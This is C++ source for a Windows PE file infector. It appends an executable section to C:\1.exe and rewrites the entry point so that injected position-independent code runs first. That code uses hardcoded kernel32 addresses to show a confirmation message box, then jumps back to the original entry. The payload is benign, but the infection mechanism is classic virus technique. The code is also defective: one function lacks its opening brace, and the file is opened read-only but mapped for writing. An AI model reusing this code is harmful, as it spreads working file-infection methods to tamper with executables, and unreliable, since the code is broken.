#include <windows.h>
#include <iostream>
#include<tlhelp32.h>
using namespace std;

#pragma data_seg(".mydat") 
#pragma code_seg(".shell")
#pragma const_seg(".constdata")
#pragma comment(linker,"/SECTION:.mydat,RWE") 
#pragma comment(linker,"/SECTION:.shell,RWE")
#pragma comment(linker,"/SECTION:.constdata,RWE")
#pragma comment(linker,"/MERGE:.mydat=.shell")
#pragma comment(linker,"/MERGE:.constdata=.shell")
#define Recode _asm call A _asm A: _asm pop  ebx _asm lea eax, A _asm sub ebx,  eax
#define GetFunOffset(pFun) _asm mov  eax,  [ebx + pFun] _asm mov  pFun,  eax
#define GetStringOffset(pStr) _asm mov eax, [pStr] _asm lea  eax, [ebx + eax]  _asm mov pStr, eax 
#define GetGlobalVar(dwGlobalVar, dwLocalVar) _asm mov eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define GetGlobalAddr(dwGlobalVar, dwLocalVar) _asm lea eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define VA_END  -2

DWORD GetProcessIdFromName(LPCTSTR name) ;
void Fun2();
int Invoke(char*pDllName, char*pFunName, ...);

typedef HINSTANCE (WINAPI *pLoadLibraryDef)(LPCTSTR);
typedef DWORD (WINAPI *pMsgBoxDef)(DWORD,DWORD,DWORD,DWORD);

DWORD dwOldEntry = 0;
char szUser32[] = "User32.Dll";
char szMessageBox[] = "MessageBoxA";
char szKernel32[] = "Kernel32.Dll";
char szExitProcess[] = "ExitProcess";
char szText[] = "真的要运行程序吗?";
char szCaption[] = "CIW_BLUE Code";


void WINAPI Fun1()
{
  Recode;
  
  DWORD dwOldAddr = 0;
  char* pUser32 = szUser32;
  char* pMessageBox = szMessageBox;
  char* pText = szText;
  char* pCaption = szCaption;
  char* pKernel32 = szKernel32;
  char* pExitProcess = szExitProcess;

  GetStringOffset(pUser32);
  GetStringOffset(pMessageBox);
  GetStringOffset(pText);
  GetStringOffset(pCaption);
  GetStringOffset(pKernel32);
  GetStringOffset(pExitProcess);
  GetGlobalVar(dwOldEntry, dwOldAddr);

  if( Invoke(pUser32, pMessageBox, NULL, pText, pCaption, MB_YESNO, VA_END) == IDNO)
  {
    Invoke(pKernel32, pExitProcess, 0, VA_END);
  }
  
  _asm
  { 
    jmp dwOldAddr
  }
}

int Invoke(char* pDllName, char* pFunName, ...)

  DWORD dwLoadLib = 0x7C801D77;
  HMODULE hDll = ((HMODULE(WINAPI*)(char*))dwLoadLib)(pDllName);
  PROC dwFunAddr = ((PROC(WINAPI*)(HMODULE,char*))0x7C80ADA0)(hDll, pFunName);
  DWORD dwRet = 0;
  DWORD dwParam[128], dwParamTemp = 0;
  DWORD dwParamLen = 0;
  va_list stVaList;
  
  va_start(stVaList, pFunName);
  while((dwParam[dwParamLen++] = va_arg(stVaList,DWORD)) != VA_END);
  dwParamLen -= 2;
  while(dwParamLen != -1)
  {
    dwParamTemp = dwParam[dwParamLen--];
    _asm push dwParamTemp
  }
  _asm mov  eax, dwFunAddr
    _asm call eax
    _asm mov  dwRet,  eax
    va_end(stVaList);
  return dwRet;
}


void End() 
{
}

int Align(int nSize, int n)
{
  if(nSize % n)
  {
    int num = nSize / n;
    return (num + 1) * n;
  }
  return nSize;
}

#define DOS IMAGE_DOS_HEADER
#define NT IMAGE_NT_HEADERS
#define SEC IMAGE_SECTION_HEADER

int main() 
{
  DWORD dwCodeSize = (DWORD)End - (DWORD)&dwOldEntry, dwSize = 0, dwOldEntry1 = 0;
  HANDLE hFile = CreateFile("C:\\1.exe", GENERIC_READ | FILE_SHARE_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
  HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL);
  PVOID pFile = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL);
  
  IMAGE_NT_HEADERS* stNT = (NT*)((char*)pFile + ((DOS*)pFile)->e_lfanew);
  
  IMAGE_SECTION_HEADER* stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
  IMAGE_SECTION_HEADER* stLastSec = &stSec[stNT->FileHeader.NumberOfSections - 1];
  IMAGE_SECTION_HEADER* stNewSec = &stSec[stNT->FileHeader.NumberOfSections];
  DWORD dwFileAlign = stNT->OptionalHeader.FileAlignment;
  DWORD dwCodeAlign = stNT->OptionalHeader.SectionAlignment;
  
  stNT->FileHeader.NumberOfSections = stNT->FileHeader.NumberOfSections + 1;

  strcpy((char*)stNewSec->Name, ".CIW");
  stNewSec->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE;
  stNewSec->VirtualAddress = stLastSec->VirtualAddress + Align(stLastSec->Misc.VirtualSize, dwCodeAlign);
  stNewSec->PointerToRawData = stLastSec->PointerToRawData + stLastSec->SizeOfRawData;
  stNewSec->SizeOfRawData = Align(dwCodeSize, dwFileAlign);
  stNewSec->Misc.VirtualSize = Align(dwCodeSize, dwCodeAlign);
  
  stNT->OptionalHeader.SizeOfCode += stNewSec->Misc.VirtualSize;
  stNT->OptionalHeader.SizeOfImage += stNewSec->Misc.VirtualSize;

  
  SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN);
  WriteFile(hFile, &dwOldEntry, stNewSec->Misc.VirtualSize, &dwSize, NULL);
  SetEndOfFile(hFile);

  dwOldEntry1 = stNT->OptionalHeader.AddressOfEntryPoint + stNT->OptionalHeader.ImageBase;
  SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN);
  WriteFile(hFile, &dwOldEntry1 , 4, &dwSize, NULL);

  stNT->OptionalHeader.AddressOfEntryPoint = stNewSec->VirtualAddress + (DWORD)Fun1 - (DWORD)&dwOldEntry;

  FlushViewOfFile(pFile, stNT->OptionalHeader.SizeOfHeaders);

  UnmapViewOfFile(pFile);
  CloseHandle(hMapFile);
  CloseHandle(hFile);  
  
  return 0;
}